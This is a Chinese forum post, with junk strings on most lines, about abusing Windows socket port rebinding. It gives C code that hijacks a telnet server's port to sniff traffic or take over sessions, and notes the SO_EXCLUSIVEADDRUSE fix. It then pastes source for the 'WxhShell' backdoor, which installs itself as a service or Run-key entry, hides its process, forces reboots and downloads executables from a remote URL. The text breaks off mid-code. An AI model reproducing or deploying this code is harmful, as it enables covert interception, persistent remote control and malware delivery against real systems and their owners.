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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1M+oTIN  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~,gLplpG0  
nkRK +~>  
  saddr.sin_family = AF_INET; LQqfi ~  
(UGol[f<  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1[s0Lz  
f TO+ZTRqf  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ;%Q&hwj  
2d8=h6  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 R*bmu  
oNIFx5*Z  
  这意味着什么?意味着可以进行如下的攻击: i4<BDX5  
 HxIoA  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 t8/%D gu  
Bc<n2 C0  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) @VK6JjIq  
|1Hc&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Sy  
!y. $J<  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  K &dT(U  
{cR=N~_EO  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 2+:'0Krc  
%i"}x/CD[  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 [7.agI@=  
^N-'xy  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 YB5dnS"n  
:Q7mV%%  
  #include NR3`M?Hjf  
  #include PsbG|~  
  #include 9Ejyg*  
  #include    ,E}$[mHyjz  
  DWORD WINAPI ClientThread(LPVOID lpParam);   CGZ^hoh/  
  int main() 6/1$< !WH  
  { L/i(KF{  
  WORD wVersionRequested; ~5 >[`)  
  DWORD ret; /:p8I6;  
  WSADATA wsaData; 6I>^Pf'ND  
  BOOL val; 3?`"  
  SOCKADDR_IN saddr; !d8A  
  SOCKADDR_IN scaddr; w z=z?AZW  
  int err; [@G`Afaf  
  SOCKET s; URw5U1  
  SOCKET sc; 1'O0`Me>#  
  int caddsize; CVQB"L  
  HANDLE mt; re`t ]gzb  
  DWORD tid;   |=5/Rax^  
  wVersionRequested = MAKEWORD( 2, 2 ); nIBFk?)6  
  err = WSAStartup( wVersionRequested, &wsaData ); @;Y~frT  
  if ( err != 0 ) { Cv^`&\[SW+  
  printf("error!WSAStartup failed!\n"); O+"ac /r  
  return -1; }ZzLs/v%X  
  } KDTDJ8  
  saddr.sin_family = AF_INET; yZ3nRiuRT  
   /!T> b:0  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 FS@A8Bb  
A'-_TFwW  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 4!%F\c46  
  saddr.sin_port = htons(23); op@i GC+  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f/y`  
  { ][7p+IsB  
  printf("error!socket failed!\n"); RiR:69xwR*  
  return -1; lddp^ #f  
  } ' ~Q2!F  
  val = TRUE; AGq>=avv  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 s 3r=mp{  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) J/W{/E>;  
  { }}T,W.#%u  
  printf("error!setsockopt failed!\n"); PDP[5q r  
  return -1; ,t,wy37*D  
  } ;t(f1rPyE  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; bx}fj#J]En  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 rU2iy"L  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <Kt3PyF  
=6T 4>rP  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) tju|UhP3  
  { -]S.<8<$  
  ret=GetLastError(); 7r 0,> 3"  
  printf("error!bind failed!\n"); %b}gDWs  
  return -1; #T3 h}=  
  } lMifpK  
  listen(s,2); Q+$Tt7/  
  while(1) lE5v-z? &|  
  { Ph,- sR  
  caddsize = sizeof(scaddr); ]}PV"|#K{c  
  //接受连接请求 !; v~^#M]~  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); B'weok  
  if(sc!=INVALID_SOCKET) ZafboqsDL  
  { :`Az/U[  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?mYYt]R  
  if(mt==NULL) aT!;{+  
  { GWP dv  
  printf("Thread Creat Failed!\n"); Es'Um,ku  
  break; LE=k  
  } %[QV,fD'E  
  } 0$P/jt  
  CloseHandle(mt); ,,<PVTd  
  } #exss=as/  
  closesocket(s); Pz"`MB<'Ik  
  WSACleanup(); 'vIx#k4D1  
  return 0; xN0*8  
  }   Oejq@iM"(  
  DWORD WINAPI ClientThread(LPVOID lpParam) XcfKx@l  
  { SUtf[6  
  SOCKET ss = (SOCKET)lpParam; rOfK~g,X  
  SOCKET sc; 6oL1_)  
  unsigned char buf[4096]; V'gw\mcb  
  SOCKADDR_IN saddr; qE7R4>5xjO  
  long num; =XY]x  
  DWORD val; d/,E2i{I7  
  DWORD ret; USPTpjt8R  
  //如果是隐藏端口应用的话,可以在此处加一些判断 'r} fZ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   \h{r;#g  
  saddr.sin_family = AF_INET; ]!{y a8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); PX,rWkOce  
  saddr.sin_port = htons(23); "$^0%-  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >^_ bD  
  { HgRwi It  
  printf("error!socket failed!\n"); /Z%>ArAx  
  return -1; eC`pnE  
  } H AB#pd9  
  val = 100; H{G{H=K_  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Iw=Sq8  
  { 7"v$- Wy  
  ret = GetLastError(); *~VxC{  
  return -1; JBX[bx52<r  
  } c6AWn>H  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8<#U9]  
  { (Xx n\*S  
  ret = GetLastError(); pBJAaCGm  
  return -1; :`,3h%  
  } SW?p?<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) fnu"*5bE  
  { f@V3\Z/6E  
  printf("error!socket connect failed!\n"); b=PVIZ  
  closesocket(sc); ": ;@Hnb/  
  closesocket(ss); 6vy7l(%  
  return -1; w7kJg'X/6  
  } #Z!b G?="  
  while(1) ?pGkk=,KB  
  { Mtm OUI&'  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Bx~[F  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 %Z]'!X  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 j2n,f7hl.  
  num = recv(ss,buf,4096,0); h 8 @  
  if(num>0) pxINw>\Qv  
  send(sc,buf,num,0); v:_B kHN'  
  else if(num==0) `k{& /]  
  break; (jWss  V1  
  num = recv(sc,buf,4096,0); $.mQ7XDA9  
  if(num>0) ?/#}ZZK^  
  send(ss,buf,num,0); u:gtOjk2  
  else if(num==0) =!MY4&YX  
  break; ||B;o-  
  } E@)\Lc~  
  closesocket(ss); f|7u_f  
  closesocket(sc); }-<zWI {p  
  return 0 ; H:{7X1bV  
  } \l#>dq"Y  
E8}+k o  
A7XnHPIw  
========================================================== <eN R8(P  
 t,%iL  
下边附上一个代码,,WXhSHELL }E^S]hdvz  
E_ucab-Fi  
========================================================== R!x: C!{  
hq>Csj==@  
#include "stdafx.h" JcO08n  
HRa@  
#include <stdio.h> Ju` [m  
#include <string.h> v6a]1B   
#include <windows.h>  q" @  
#include <winsock2.h> UH`hOJ?  
#include <winsvc.h> x2VBm$>  
#include <urlmon.h> WgR4Ix^L#  
2h^WYpCm  
#pragma comment (lib, "Ws2_32.lib") p#d+>7  
#pragma comment (lib, "urlmon.lib") n]CbDbNw7)  
#&!G"x7  
#define MAX_USER   100 // 最大客户端连接数 @$@mqHI}  
#define BUF_SOCK   200 // sock buffer $A\m>*@  
#define KEY_BUFF   255 // 输入 buffer 8%{q%+  
N1EezC'^  
#define REBOOT     0   // 重启 dx_6X!=.J  
#define SHUTDOWN   1   // 关机  :S %lv  
}k$4/7ri  
#define DEF_PORT   5000 // 监听端口 0(>rG{u  
rjA@U<o  
#define REG_LEN     16   // 注册表键长度 [pOg'  
#define SVC_LEN     80   // NT服务名长度 yWIm&Q:  
EmVuwphv  
// 从dll定义API tOdT[&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); cSP*f0n,eo  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M++0zhS  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); MLVB^<qkeH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2h~-  
y f1CXldi  
// wxhshell配置信息 > dZ3+f  
struct WSCFG { jB$SUO`*  
  int ws_port;         // 监听端口 &wH:aD  
  char ws_passstr[REG_LEN]; // 口令 %"3 )TN4  
  int ws_autoins;       // 安装标记, 1=yes 0=no >O`l8tM  
  char ws_regname[REG_LEN]; // 注册表键名 3SG?W_  
  char ws_svcname[REG_LEN]; // 服务名 P!g-X%ngo  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 P~CrtTss  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _cqy`p@"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0OZMlt%z  
int ws_downexe;       // 下载执行标记, 1=yes 0=no < +`(\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?2J?XS>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x4?10f(9=  
jRZ%}KX  
}; T3J'fjY  
{5Lj8 N5  
// default Wxhshell configuration qc-,+sn(  
struct WSCFG wscfg={DEF_PORT, ?s%v0cF  
    "xuhuanlingzhe", {+T/GBF-K=  
    1, R'K/t|MC  
    "Wxhshell", lP<I|O=z  
    "Wxhshell", I`B'1"{  
            "WxhShell Service", -e-e9uP  
    "Wrsky Windows CmdShell Service", uGtV}-t:  
    "Please Input Your Password: ", ;<Qdy` T  
  1, 3!9 Z=- tD  
  "http://www.wrsky.com/wxhshell.exe", 7!V @/S}7  
  "Wxhshell.exe"  $g8}^1  
    }; t%0?N<9YkU  
.J.vC1 4gi  
// 消息定义模块 #;r]/)>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Utl t<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; j BS4vvX?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Buc_9Kzw<+  
char *msg_ws_ext="\n\rExit."; o+?@5zw -&  
char *msg_ws_end="\n\rQuit."; lu\o`m5wF  
char *msg_ws_boot="\n\rReboot..."; t 0O4GcAN  
char *msg_ws_poff="\n\rShutdown..."; H[&@}v,L  
char *msg_ws_down="\n\rSave to "; d "<F!?8  
i.a _C'<$  
char *msg_ws_err="\n\rErr!"; }0/a\  
char *msg_ws_ok="\n\rOK!"; HCnf2td  
zmFws-+A  
char ExeFile[MAX_PATH]; :h5J r8  
int nUser = 0; [~%`N*G  
HANDLE handles[MAX_USER]; 7Ua7A  
int OsIsNt; f=:.BR{  
yY=<'{!  
SERVICE_STATUS       serviceStatus; +oy*Kxs7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; K b(9)Re  
2<W&\D o@  
// 函数声明 !$xu(D.  
int Install(void); Z5)eREi=  
int Uninstall(void); vgG}d8MW37  
int DownloadFile(char *sURL, SOCKET wsh); %efGt6&  
int Boot(int flag); Yv\!vW7I  
void HideProc(void); d]B= *7]  
int GetOsVer(void); >M4"|W U_  
int Wxhshell(SOCKET wsl); /=T"=bP#/  
void TalkWithClient(void *cs); DdjCn`jqlf  
int CmdShell(SOCKET sock); f\o R:%  
int StartFromService(void); BQrL7y  
int StartWxhshell(LPSTR lpCmdLine); h8v>zNf'  
/6tcSg)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "sbBe73 m  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); C3"&sdLb$  
_/x& <,3  
// 数据结构和表定义 \+B?}P8N*l  
SERVICE_TABLE_ENTRY DispatchTable[] = 3E|;r _; 8  
{ ;h=S7M9.  
{wscfg.ws_svcname, NTServiceMain}, i Ci>zJ  
{NULL, NULL} 0X"\ a'M_  
}; P;U@y" s  
zixE Mi[8  
// 自我安装 [MmM9J["  
int Install(void) iJnh$jo  
{ uQp_':\k  
  char svExeFile[MAX_PATH]; 7'.s7& '7  
  HKEY key; ixI:@#5wY  
  strcpy(svExeFile,ExeFile); }98-5'u.X  
/H&aMk}J@y  
// 如果是win9x系统,修改注册表设为自启动 c E76L%O  
if(!OsIsNt) { n2'|.y}Um:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K2|7%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rO^xz7K^  
  RegCloseKey(key);  P\(30  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I'A:J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %V_eJC""?  
  RegCloseKey(key); K-@bwB7~s  
  return 0; ~3 @*7B5Q  
    } `]>on`n?  
  } otnV-7)@  
} (#u{ U=  
else { q$>_WF#||  
WOb8 "*OM  
// 如果是NT以上系统,安装为系统服务 !sK#zAR2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Lz6*H1~   
if (schSCManager!=0) H m8y]>$  
{ ;&mxqY8`'  
  SC_HANDLE schService = CreateService 4x]NUt  
  ( 6/7F">@j  
  schSCManager, ~d+O/:=K_  
  wscfg.ws_svcname, :uvc\|:s  
  wscfg.ws_svcdisp, ?!m m a\W  
  SERVICE_ALL_ACCESS, 8p,>y(o  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =1Sy@MbH3  
  SERVICE_AUTO_START, M,G8*HI"  
  SERVICE_ERROR_NORMAL, )52#:27F  
  svExeFile, ,\>g  
  NULL, BHclUwj  
  NULL, 'FxYMSZS$  
  NULL, 3_U\VGm  
  NULL, bL MkPty  
  NULL %*p^$5L<  
  ); UzJ!Y/5  
  if (schService!=0) I+~\ w N  
  { gix>DHq$k  
  CloseServiceHandle(schService); JU2P%3  
  CloseServiceHandle(schSCManager); @?M; 'xMbB  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); I1v@\Rb  
  strcat(svExeFile,wscfg.ws_svcname); Bxt_a.LthH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { +7^w9G  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); QRiF!D)Nk  
  RegCloseKey(key); tnJ`D4  
  return 0; 4K'|DO|dH  
    } U,d2DAvt  
  } |is 9  
  CloseServiceHandle(schSCManager); UL ck  
} x3_,nl  
} 9JXhHAxD  
BiE$mM  
return 1; 0@w&J9yG  
} s)Gb!-``  
6ku8`WyoF  
// 自我卸载 F*. /D~K  
int Uninstall(void) 6T]Q.\5BZ  
{ a YR\<02  
  HKEY key; 63SVIc~wT  
Z{ %Uw;d  
if(!OsIsNt) { Bd QQ9$@5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wNbTM.@  
  RegDeleteValue(key,wscfg.ws_regname); ko>M&/^  
  RegCloseKey(key); 35}P0+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nHE+p\  
  RegDeleteValue(key,wscfg.ws_regname); &'NQ)Dn  
  RegCloseKey(key); <G&WYk%u*  
  return 0; 2-PI JO  
  } Le_CIk 5YL  
} Y'?Izn b  
} EJv!tyJ\[  
else { D8a)(wm  
D`8E-Bq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rdFs?hO  
if (schSCManager!=0) 1RURZoL  
{ %odw+PhO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); p-a]"l+L  
  if (schService!=0) rnJS[o0  
  { bL+sN"Km  
  if(DeleteService(schService)!=0) { F=:F>6`  
  CloseServiceHandle(schService); |WQD=J%~(  
  CloseServiceHandle(schSCManager); 69N1 mP  
  return 0; _Wq7U1v`  
  } p0"BO4({{  
  CloseServiceHandle(schService); Ua}g  
  } FW/6{tm  
  CloseServiceHandle(schSCManager); %L.lkRs  
} R%Kl&c  
} w($XEv;  
AsV8k _qZL  
return 1; y>?k<)nA{  
} no eb f  
\?aOExG I  
// 从指定url下载文件 R/yPZO-U  
int DownloadFile(char *sURL, SOCKET wsh) D "JMSL4r  
{ )tJL@Qo  
  HRESULT hr; 1 OuSH+  
char seps[]= "/"; ]%b0[7[  
char *token; =9#i<te  
char *file; Z#H@BWN7  
char myURL[MAX_PATH]; ,oy4V^B&  
char myFILE[MAX_PATH]; L2:oZ&:u`J  
9 ?EY.}~  
strcpy(myURL,sURL); CR} >  
  token=strtok(myURL,seps); *C,$W\6sz  
  while(token!=NULL) \mqhugy  
  { y}s 0J K  
    file=token; b#bO=T$e-  
  token=strtok(NULL,seps); LX&=uv%-^  
  } Lx|w~+k}  
&Z#Vw.7U  
GetCurrentDirectory(MAX_PATH,myFILE); ZYpD8u6U  
strcat(myFILE, "\\"); &e5^v  
strcat(myFILE, file); oY| (M_;  
  send(wsh,myFILE,strlen(myFILE),0); T#ecLD#  
send(wsh,"...",3,0); cx,u2~43A&  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (cbB %  
  if(hr==S_OK) kW*W4{Fth  
return 0; i[V,IP +  
else Iwd"f  
return 1; &@Ji+  
#)Id J]  
} 4c493QOd  
2b vYF ;<r  
// 系统电源模块 6"#Tvj~-8  
int Boot(int flag) |qFN~!  
{ -M(58/y  
  HANDLE hToken; 'Y6(4|w (  
  TOKEN_PRIVILEGES tkp; GcU(:V2o  
.>cL/KaP  
  if(OsIsNt) { <ZN) /,4PS  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >xk:pL*o`  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U/~Zk@3j  
    tkp.PrivilegeCount = 1;  Wl}G[>P  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; dvH67 x  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); HvL9;^!  
if(flag==REBOOT) { J[Ylo&w3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'JXN*YO  
  return 0; D0"yZp}  
} [K^q: 3R  
else { m''iE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) FZLzu  
  return 0; v: !7n  
} "1\RdTw  
  } /3bca!O  
  else { %E=,H?9&>  
if(flag==REBOOT) { NC#kI3{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _16 &K}<  
  return 0; Z2Y583D  
} }tg:DG  
else { 5#A1u Nb  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) #6#BSZ E  
  return 0; HEW9YC"  
} s`7 _J9  
} +P<w<GfQ  
7{6cLYl  
return 1; *~MiL9m+?  
} 5>^ W}0s  
W.7d{ @n  
// win9x进程隐藏模块 Ag hj)V  
void HideProc(void) f%{ ag  
{ q2"'W|I  
_S7M5{U_  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L@x8hUG"  
  if ( hKernel != NULL ) JCMEhI6d*  
  { u{dN>}{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); MsVI <+JZ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Eo3Aak o  
    FreeLibrary(hKernel);  z]R!l%`  
  } Z[A|SyZp  
^_"q`71Dk  
return; gpTF^.(  
} B7QtB3bn  
W Y qL  
// 获取操作系统版本 OrqJo!FEg{  
int GetOsVer(void) #p:jKAc3  
{ 113x9+w[  
  OSVERSIONINFO winfo; "oGM> @q=B  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); NX #/1=  
  GetVersionEx(&winfo); frO/ nx|9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "rlSK >`  
  return 1; 38.J:?Q  
  else U=<.P;+f9  
  return 0; as47eZ0\  
} i1H80m s  
>Ki]8 &  
// 客户端句柄模块 o[+|n[aT)3  
int Wxhshell(SOCKET wsl) f0`rJ?us  
{ 6}FDLBA  
  SOCKET wsh; j`&i4K:  
  struct sockaddr_in client; ;w&yGm  
  DWORD myID; aGkVC*T  
2dlV'U_g  
  while(nUser<MAX_USER) 8$xKg3-3M  
{  ` :  
  int nSize=sizeof(client); vCe<-k  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^+l\YB7pD  
  if(wsh==INVALID_SOCKET) return 1; (6y3"cbe  
"+ JwS  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1&L){hg  
if(handles[nUser]==0) v\tbf  
  closesocket(wsh); T7_ SO,X  
else x!Y@31!Dy  
  nUser++; ~oR&0et  
  } wg~`Md  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?cxK~Y\  
aC6b})^  
  return 0; JBJ7k19;  
} 3tcsj0Rb  
%H~gN9Vn#@  
// 关闭 socket <R8Z[H:bV  
void CloseIt(SOCKET wsh) ; SM^  
{ a~TZ9yg+HL  
closesocket(wsh); =}KbE4D+8  
nUser--; NS~knR\&  
ExitThread(0); ~,65/O  
} 'i-O  
y$Noo)Z  
// 客户端请求句柄 Z|GkM5QH:  
void TalkWithClient(void *cs) j7 3@Yi%  
{ ">&:(<  
YfU#kvE'  
  SOCKET wsh=(SOCKET)cs; 25[/'7_"  
  char pwd[SVC_LEN]; Bx!` UdRn  
  char cmd[KEY_BUFF]; qP'g}Pc  
char chr[1]; {4q:4 i  
int i,j; fb;"J+  
9o'6es..@Z  
  while (nUser < MAX_USER) { D*Q#G/TF3  
xA E@cwg  
if(wscfg.ws_passstr) { bD-Em#>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); A+DYIS  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LkB!:+v |B  
  //ZeroMemory(pwd,KEY_BUFF); sB/s17ar  
      i=0; v('d H"Y  
  while(i<SVC_LEN) { rB?cm]G=  
5z>\'a1U  
  // 设置超时 Y\|J1I,Z4  
  fd_set FdRead; {\zr_v`g  
  struct timeval TimeOut; r,KK%B  
  FD_ZERO(&FdRead); u.FDe2|[)  
  FD_SET(wsh,&FdRead); ^eRT8I  
  TimeOut.tv_sec=8; "-:\-sMt{  
  TimeOut.tv_usec=0; _q4m7C<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T+D]bfjr&&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +N@F,3yNa  
NyLnE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Acv{XnB  
  pwd=chr[0]; R  |%  
  if(chr[0]==0xd || chr[0]==0xa) { W fNMyI  
  pwd=0; ~]M"  
  break; ;)a9Y?  
  } W10fjMC}^  
  i++; `%p6i| _Q  
    } @E;pT3; )  
Uroj%xN  
  // 如果是非法用户,关闭 socket f|0QN#$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +cH(nZ*f  
} gAP}KR#T  
oy: MM  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Fo~v.+^?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )&Bv\Tfjt  
AgJ~6tK  
while(1) { ;~1JbP  
8l0 (6x$  
  ZeroMemory(cmd,KEY_BUFF); n#cN[C9  
,&G M\FTeb  
      // 自动支持客户端 telnet标准   W F<V2o{k  
  j=0; ~\,6 C1M  
  while(j<KEY_BUFF) { T%/w^27E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QGy=JHb  
  cmd[j]=chr[0]; ,eCXT=6  
  if(chr[0]==0xa || chr[0]==0xd) { e`F|sz]k"H  
  cmd[j]=0; "mK (?U!A  
  break;  Jx w<*  
  } ^i\1c-/  
  j++; [^~9wFNtd  
    } |vzWSm  
qV,j)b3M  
  // 下载文件 !*6z=:J  
  if(strstr(cmd,"http://")) { e]?S-J'z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =i?,y +<  
  if(DownloadFile(cmd,wsh)) 9zd/5|W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Iq \oB  
  else Lm#d.AD)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4V8wB}y7e  
  } #jiqRhm  
  else { )A=g# D#  
"~ stZ.  
    switch(cmd[0]) { MX,0gap  
  8 GN{*Hg  
  // 帮助 BwD1}1jp  
  case '?': { Xm'K6JH'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ] i2\2MTW8  
    break; ^iS:mt  
  } c@M@t0WT[  
  // 安装 \}NWR{=  
  case 'i': { 7!w nx.  
    if(Install()) . *xq =  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %nF\tVP3]  
    else y:[]+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >nEnX  
    break; v*'\w#  
    } Cq;d2u0)o$  
  // 卸载 cLC7U?-  
  case 'r': { >]8.xkQq  
    if(Uninstall()) d<nB=r!*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j],.`Y  
    else |/s2AzDD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6qpV53H  
    break; J5 ( D7rp#  
    } Uy|=A7Ad c  
  // 显示 wxhshell 所在路径 N~_jiVD>  
  case 'p': { @6'E8NFl  
    char svExeFile[MAX_PATH]; Y_hRL&u3W  
    strcpy(svExeFile,"\n\r"); *r$.1nke  
      strcat(svExeFile,ExeFile); )^f Q@C8  
        send(wsh,svExeFile,strlen(svExeFile),0); OUO^/] J1S  
    break; u@u.N2H.%  
    } kA=~ 8N  
  // 重启 }h h^U^ia  
  case 'b': { x]cZm^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w*}yw"gP*0  
    if(Boot(REBOOT)) v1g5(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4 xzJql  
    else { Ltd?#HP  
    closesocket(wsh); eE`1;13;  
    ExitThread(0); YKOO(?lv  
    } ~7WXjVZ  
    break; i/~QJ1C  
    } w?W e|x3  
  // 关机 (H%d]  
  case 'd': { B&k T#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f<altz_\q  
    if(Boot(SHUTDOWN)) @Qjl`SL%O^  
